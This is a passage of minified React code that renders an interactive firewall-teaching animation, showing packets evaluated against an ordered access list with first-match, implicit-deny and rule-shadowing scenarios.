`,s&&`✓`]}),(0,k.jsx)(`rect`,{x:`355`,y:`5`,width:`85`,height:`24`,rx:`4`,fill:s?`#dcfce7`:`#ffffff`,stroke:s?`#22c55e`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`397`,y:`21`,textAnchor:`middle`,fill:s?`#15803d`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`TCP `,s&&`✓`]}),(0,k.jsx)(`rect`,{x:`450`,y:`5`,width:`80`,height:`24`,rx:`4`,fill:s?`#dcfce7`:`#ffffff`,stroke:s?`#22c55e`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`490`,y:`21`,textAnchor:`middle`,fill:s?`#15803d`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`:443 `,s&&`✓`]}),(0,k.jsx)(`text`,{x:`545`,y:`21`,fill:c?`#059669`:`#2563eb`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:c?`MATCH: ALLOW ✓`:s?`CHECKING...`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 94)`,opacity:c?.35:.8,children:[(0,k.jsx)(`rect`,{x:`-4`,y:`0`,width:`676`,height:`24`,rx:`4`,fill:`#f8fafc`,stroke:`#e2e8f0`,strokeDasharray:c?`4 4`:void 0}),(0,k.jsx)(`text`,{x:`4`,y:`16`,fill:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`2`}),(0,k.jsx)(`text`,{x:`45`,y:`16`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`110`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`235`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`203.0.113.50`}),(0,k.jsx)(`text`,{x:`360`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`455`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`:443`}),(0,k.jsx)(`text`,{x:`545`,y:`16`,fill:`#94a3b8`,fontSize:`7.5`,fontFamily:`monospace`,children:c?`SKIPPED (First Match)`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 124)`,opacity:c?.35:.8,children:[(0,k.jsx)(`rect`,{x:`-4`,y:`0`,width:`676`,height:`24`,rx:`4`,fill:`#f8fafc`,stroke:`#e2e8f0`,strokeDasharray:c?`4 4`:void 0}),(0,k.jsx)(`text`,{x:`4`,y:`16`,fill:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3`}),(0,k.jsx)(`text`,{x:`45`,y:`16`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`110`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`235`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`203.0.113.50`}),(0,k.jsx)(`text`,{x:`360`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`455`,y:`16`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`:80`}),(0,k.jsx)(`text`,{x:`545`,y:`16`,fill:`#94a3b8`,fontSize:`7.5`,fontFamily:`monospace`,children:c?`SKIPPED`:`PENDING`})]}),(0,k.jsx)(`text`,{x:`16`,y:`166`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:d?`STATUS: Rule 1 matched all 5-tuple parameters. Packet forwarded and received by Server.`:`STATUS: Evaluating incoming packet against ordered ACL statement rows.`})]}):(0,k.jsxs)(`g`,{transform:`translate(30, 160)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`150`,rx:`10`,fill:`#f8fafc`,stroke:`#e2e8f0`,strokeDasharray:`6 6`}),(0,k.jsxs)(`text`,{x:`350`,y:`80`,textAnchor:`middle`,fill:`#64748b`,fontSize:`12`,fontWeight:`bold`,children:[e===0&&`STEP 1: Topology initialized at Client. Click Next to establish Firewall.`,e===1&&`STEP 2: Firewall online. Click Next to connect Target Server.`,e===2&&`STEP 3: Server connected. Click Next to create HTTPS packet.`,e===3&&`STEP 4: HTTPS Packet created. Click Next to transmit to Firewall.`,e===4&&`STEP 5: Packet transmitting to Firewall ingress interface...`,e===5&&`STEP 6: Packet buffered at Firewall. Click Next to engage ACL rulebase.`]})]})]})},Gt=({currentStepIndex:e})=>{let t=e>=13,n=e>=1,r=e>=2,i=e>=3&&e<=12,a=e===4,o=e>=5&&e<=10,s=e>=6,c=e>=7,l=e>=8,u=e>=9,d=e>=10,f=e===11,p=e===12,m=e>=13,h=e===14,g=e>=15,_=e>=15,v=e>=16,y=e>=17,b=90;return t?e===13?b=90:h?b=230:g&&(b=370):e===3?b=90:a?b=230:o?b=370:f?b=510:p&&(b=650),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[n&&(0,k.jsx)(`line`,{x1:`90`,y1:`85`,x2:`370`,y2:`85`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),r&&(0,k.jsx)(`line`,{x1:`370`,y1:`85`,x2:`650`,y2:`85`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),a&&(0,k.jsx)(A,{x1:135,y1:85,x2:325,y2:85,color:`#2563eb`,label:`HTTPS SYN →`}),f&&(0,k.jsx)(A,{x1:415,y1:85,x2:605,y2:85,color:`#10b981`,label:`FORWARDED →`}),p&&(0,k.jsx)(A,{x1:415,y1:85,x2:605,y2:85,color:`#10b981`,label:`DELIVERED ✓`}),h&&(0,k.jsx)(A,{x1:135,y1:85,x2:325,y2:85,color:`#dc2626`,label:`SSH (UNAUTHORIZED) →`}),v&&(0,k.jsxs)(`g`,{transform:`translate(415, 85)`,className:`animate-pop-in`,children:[(0,k.jsx)(`line`,{x1:`0`,y1:`-25`,x2:`0`,y2:`25`,stroke:`#dc2626`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`circle`,{cx:`0`,cy:`0`,r:`14`,fill:`#fef2f2`,stroke:`#dc2626`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#dc2626`,fontSize:`12`,fontWeight:`bold`,children:`✕`}),(0,k.jsx)(`text`,{x:`0`,y:`38`,textAnchor:`middle`,fill:`#dc2626`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLOCKED`})]}),(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(M,{cx:90,cy:85,label:`CLIENT`,ip:`10.0.0.25`,active:t?e<=14:e<=4,statusText:t?`TEST 2: SSH`:`TEST 1: HTTPS`})}),n&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(N,{cx:370,cy:85,label:`FIREWALL`,sub:v?`BLOCKED ✕`:o||g?`DECISION ENGINE`:`Policy Engine`,active:o||g,success:d,isDanger:v})}),r&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(P,{cx:650,cy:85,label:`SERVER`,sub:`203.0.113.50`,active:p,success:p,statusText:p?`RECEIVED ✓`:y?`NO PACKET RECEIVED`:`WAITING...`})}),i&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:b,cy:36,title:p?`DELIVERED`:d?`PERMITTED`:`TCP SYN`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`203.0.113.50`,status:d?`ALLOW`:o?`INSPECT`:`NORMAL`,scale:.8})}),m&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:b,cy:36,title:v?`BLOCKED PACKET`:`SSH ATTEMPT`,protocol:`TCP`,port:`22`,src:`10.0.0.25`,dst:`203.0.113.50`,status:v?`DROP`:`INSPECT`,scale:.8})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`180`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`SCENARIO 2 OF 2: UNAUTHORIZED PACKET BLOCKED (TCP :22 SSH → DEFAULT DENY)`:`SCENARIO 1 OF 2: PERMITTED PACKET DECISION FLOW (TCP :443 HTTPS)`}),t?(0,k.jsxs)(`g`,{transform:`translate(14, 38)`,children:[[{num:`1`,title:`Port 22 Ingress`,desc:`SSH Packet at FW`,active:g,done:_,danger:!1},{num:`2`,title:`Rule 1 Check`,desc:`ALLOW :443 (NO MATCH)`,active:_,done:_,danger:!1},{num:`3`,title:`Rule 2 Check`,desc:`ALLOW :80 (NO MATCH)`,active:_,done:_,danger:!1},{num:`4`,title:`Implicit Deny`,desc:`Default Fallback Rule`,active:_,done:v,danger:!0},{num:`5`,title:`DROP Action`,desc:`Packet Blocked at FW`,active:v,done:v,danger:!0},{num:`6`,title:`Server Isolated`,desc:`No Traffic Received`,active:y,done:y,danger:!0}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*112}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`106`,height:`54`,rx:`6`,fill:e.danger&&(e.active||e.done)?`#fef2f2`:e.done?`#ecfdf5`:e.active?`#eff6ff`:`#f8fafc`,stroke:e.danger&&(e.active||e.done)?`#ef4444`:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`,strokeWidth:e.active||e.done?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`106`,height:`14`,rx:`5`,fill:e.danger&&(e.active||e.done)?`#ef4444`:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`53`,y:`10`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontWeight:`bold`,children:[`STEP `,e.num]}),(0,k.jsx)(`text`,{x:`53`,y:`27`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:e.title}),(0,k.jsx)(`text`,{x:`53`,y:`42`,textAnchor:`middle`,fill:e.danger?`#dc2626`:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:e.desc})]},e.num)),(0,k.jsxs)(`g`,{transform:`translate(0, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`672`,height:`60`,rx:`6`,fill:`#fef2f2`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`12`,y:`15`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`✕ VERDICT: PACKET BLOCKED & DROPPED AT FIREWALL`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#7f1d1d`,fontSize:`7.5`,children:`• Reason: Port 22 failed all explicit permit statements and hit the default Implicit Deny rule.`}),(0,k.jsx)(`text`,{x:`12`,y:`46`,fill:`#7f1d1d`,fontSize:`7.5`,children:`• Security Outcome: Packet remains halted at firewall boundary; Destination Server received zero unauthorized traffic.`})]})]}):(0,k.jsxs)(`g`,{transform:`translate(14, 38)`,children:[[{num:`1`,title:`Header Extraction`,desc:`Src/Dst, Port, Proto`,active:s,done:c},{num:`2`,title:`Top-Down Rule 1`,desc:`ALLOW 10.0.0.0/24 :443`,active:c,done:l},{num:`3`,title:`Field Evaluation`,desc:`Src✓ Dst✓ Proto✓ Port✓`,active:l,done:u},{num:`4`,title:`First Match Stop`,desc:`Rule 1 Satisfied`,active:u,done:d},{num:`5`,title:`ALLOW Action`,desc:`Open Egress Gate`,active:d,done:p},{num:`6`,title:`Forward / Egress`,desc:`Delivered to Server`,active:p,done:p}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*112}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`106`,height:`54`,rx:`6`,fill:e.done?`#ecfdf5`:e.active?`#eff6ff`:`#f8fafc`,stroke:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`,strokeWidth:e.active||e.done?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`106`,height:`14`,rx:`5`,fill:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`53`,y:`10`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontWeight:`bold`,children:[`STEP `,e.num]}),(0,k.jsx)(`text`,{x:`53`,y:`27`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:e.title}),(0,k.jsx)(`text`,{x:`53`,y:`42`,textAnchor:`middle`,fill:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:e.desc})]},e.num)),(0,k.jsxs)(`g`,{transform:`translate(0, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`672`,height:`60`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`15`,fill:`#334155`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SCENARIO 1 EVALUATION:`}),(0,k.jsx)(`g`,{transform:`translate(12, 22)`,children:[{name:`1. SOURCE IP`,val:`10.0.0.25 ∈ 10.0.0.0/24`,ok:l},{name:`2. DESTINATION`,val:`203.0.113.50`,ok:l},{name:`3. PROTOCOL`,val:`TCP`,ok:l},{name:`4. PORT`,val:`:443 (HTTPS)`,ok:l}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*162}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`154`,height:`26`,rx:`4`,fill:e.ok?`#dcfce7`:`#ffffff`,stroke:e.ok?`#22c55e`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`6`,y:`10`,fill:`#64748b`,fontSize:`6.5`,fontWeight:`bold`,children:e.name}),(0,k.jsxs)(`text`,{x:`6`,y:`20`,fill:e.ok?`#15803d`:`#0f172a`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:[e.val,` `,e.ok&&`✓`]})]},e.name))})]})]})]})]})},Kt=({currentStepIndex:e})=>{let[t,n]=(0,_.useState)(!1),r=e>=4||t;return(0,k.jsxs)(`div`,{className:`w-full h-full flex flex-col justify-between`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between px-6 py-2 bg-slate-100 border-b border-slate-200`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-700`,children:`RULE ORDER EXPERIMENT:`}),(0,k.jsx)(`span`,{className:`text-xs font-bold px-2.5 py-0.5 rounded-full ${r?`bg-rose-100 text-rose-700 border border-rose-300`:`bg-emerald-100 text-emerald-700 border border-emerald-300`}`,children:r?`Order B: DENY ANY First → Result: BLOCKED`:`Order A: ALLOW 10.0.0.0/24 First → Result: PERMITTED`})]}),(0,k.jsxs)(`button`,{onClick:()=>n(!t),className:`flex items-center gap-1.5 px-3 py-1 bg-white hover:bg-slate-50 border border-slate-300 rounded-lg text-xs font-bold text-slate-700 shadow-2xs cursor-pointer transition-all`,children:[(0,k.jsx)(ye,{className:`h-3.5 w-3.5 text-blue-600`}),(0,k.jsx)(`span`,{children:t?`Reset Order (Allow First)`:`Swap Rule Order (Deny First)`})]})]}),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`90`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`3`,strokeDasharray:`4 4`}),(e>=1||t)&&(0,k.jsx)(A,{x1:130,y1:75,x2:330,y2:75,color:`#2563eb`,label:`10.0.0.25 :443`}),(e>=1||t)&&(r?(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`line`,{x1:`45`,y1:`-25`,x2:`45`,y2:`25`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`55`,y:`-12`,width:`90`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`100`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY ✕`})]}):(0,k.jsx)(A,{x1:410,y1:75,x2:610,y2:75,color:`#10b981`,label:`ALLOWED ✓`})),(0,k.jsx)(M,{cx:90,cy:75,label:`CLIENT`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:`Order Evaluator`,active:!0,success:(e>=1||t)&&!r,danger:(e>=1||t)&&r}),(0,k.jsx)(P,{cx:650,cy:75,label:`SERVER`,sub:`203.0.113.50:443`,active:!0,success:(e>=1||t)&&!r,danger:(e>=1||t)&&r}),(e>=1||t)&&(0,k.jsx)(j,{cx:r?370:640,cy:34,title:`PACKET`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`SERVER`,status:r?`DENY`:`ALLOW`,scale:.8}),(0,k.jsxs)(`g`,{transform:`translate(40, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`145`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`ACTIVE FIREWALL ACCESS LIST (FIRST-MATCH WINS)`}),(0,k.jsx)(`text`,{x:`490`,y:`17`,fill:`#38bdf8`,fontSize:`8.5`,fontWeight:`bold`,children:r?`⚡ Shadowing Bug in Effect`:`✓ Correct Specific-to-Broad Order`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`34`,rx:`6`,fill:r?`#fef2f2`:`#ecfdf5`,stroke:r?`#ef4444`:`#10b981`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#0f172a`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`#1`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:r?`#dc2626`:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`DENY`:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`ANY`:`10.0.0.0/24`}),(0,k.jsx)(`text`,{x:`240`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`380`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`470`,y:`21`,fill:r?`#dc2626`:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`FIRST MATCH: DENY ✕`:`FIRST MATCH: ALLOW ✓`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 78)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`30`,rx:`4`,fill:`#f8fafc`,stroke:`#e2e8f0`,opacity:.6}),(0,k.jsx)(`text`,{x:`12`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`#2`}),(0,k.jsx)(`text`,{x:`45`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`ALLOW`:`DENY`}),(0,k.jsx)(`text`,{x:`120`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`10.0.0.0/24`:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`380`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`470`,y:`19`,fill:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`⚠️ SHADOWED (Never Reached!)`:`SKIPPED (First Match Met)`})]}),(0,k.jsx)(`g`,{transform:`translate(16, 118)`,children:(0,k.jsx)(`text`,{x:`0`,y:`14`,fill:`#334155`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`TAKEAWAY: SAME PACKET (10.0.0.25) + DIFFERENT RULE ORDER = COMPLETELY OPPOSITE DECISION!`})})]})]})]})},qt=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e===4,a=e>=5&&e<=9,o=e>=6,s=e>=7,c=e>=8,l=e>=9,u=e===10,d=e>=11,f=90;return e<=3?f=90:i?f=230:a?f=370:u?f=510:d&&(f=650),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[t&&(0,k.jsx)(`line`,{x1:`90`,y1:`80`,x2:`370`,y2:`80`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),n&&(0,k.jsx)(`line`,{x1:`370`,y1:`80`,x2:`650`,y2:`80`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),i&&(0,k.jsx)(A,{x1:135,y1:80,x2:325,y2:80,color:`#2563eb`,label:`TRANSMITTING →`}),u&&(0,k.jsx)(A,{x1:415,y1:80,x2:605,y2:80,color:`#10b981`,label:`FORWARDING →`}),d&&(0,k.jsx)(A,{x1:415,y1:80,x2:605,y2:80,color:`#10b981`,label:`DELIVERED ✓`}),(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(M,{cx:90,cy:80,label:`CLIENT`,ip:`10.0.0.25`,active:e<=4})}),t&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(N,{cx:370,cy:80,label:`FIREWALL`,sub:`First Match Engine`,active:a,success:s})}),n&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(P,{cx:650,cy:80,label:`SERVER`,sub:`203.0.113.50:443`,active:d,success:d,statusText:d?`RECEIVED ✓`:`WAITING...`})}),r&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:f,cy:34,title:d?`DELIVERED`:s?`PERMITTED`:`CANDIDATE`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`203.0.113.50`,status:s?`ALLOW`:a?`INSPECT`:`NORMAL`,scale:.8})}),o?(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`EVALUATING 3 MATCHING RULES (FIRST-MATCH TERMINATION PRINCIPLE)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`6`,fill:s?`#ecfdf5`:`#eff6ff`,stroke:s?`#10b981`:`#3b82f6`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`12`,y:`24`,fill:`#0f172a`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`#1`}),(0,k.jsx)(`text`,{x:`45`,y:`24`,fill:`#059669`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`24`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`10.0.0.0/24`}),(0,k.jsx)(`text`,{x:`240`,y:`24`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`370`,y:`24`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`460`,y:`24`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:c?`FIRST MATCH WINNER → STOP EVALUATION! ✓`:s?`MATCH FOUND ✓`:`EVALUATING...`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 80)`,opacity:l?.35:.8,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`32`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`,strokeDasharray:l?`4 4`:void 0}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#64748b`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`#2`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:`#dc2626`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`120`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`10.0.0.25 (Exact IP)`}),(0,k.jsx)(`text`,{x:`240`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`370`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`460`,y:`21`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:l?`⚠️ FADED / SKIPPED (Never Evaluated)`:`Potential Match`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 118)`,opacity:l?.35:.8,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`32`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`,strokeDasharray:l?`4 4`:void 0}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#64748b`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`#3`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`370`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`460`,y:`21`,fill:`#64748b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:l?`⚠️ FADED / SKIPPED (Never Evaluated)`:`Potential Match`})]}),(0,k.jsx)(`text`,{x:`16`,y:`170`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`RULE OF OPERATION: Firewall evaluation is sequential top-to-bottom. The FIRST matching rule wins and processing stops immediately.`})]}):(0,k.jsxs)(`g`,{transform:`translate(30, 160)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`150`,rx:`10`,fill:`#f8fafc`,stroke:`#e2e8f0`,strokeDasharray:`6 6`}),(0,k.jsxs)(`text`,{x:`350`,y:`80`,textAnchor:`middle`,fill:`#64748b`,fontSize:`12`,fontWeight:`bold`,children:[e===0&&`STEP 1: Topology initialized at Client. Click Next to establish Firewall.`,e===1&&`STEP 2: Firewall online. Click Next to connect Target Server.`,e===2&&`STEP 3: Server connected. Click Next to create candidate packet.`,e===3&&`STEP 4: Candidate packet created. Click Next to transmit to Firewall.`,e===4&&`STEP 5: Packet transmitting to Firewall...`,e===5&&`STEP 6: Firewall buffering packet. Click Next to view competing rules.`]})]})]})},Jt=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=5;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`90`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`3`,strokeDasharray:`4 4`}),e>=1&&(0,k.jsx)(A,{x1:130,y1:75,x2:330,y2:75,color:`#2563eb`,label:`SSH :22`}),a&&(0,k.jsxs)(`g`,{transform:`translate(370, 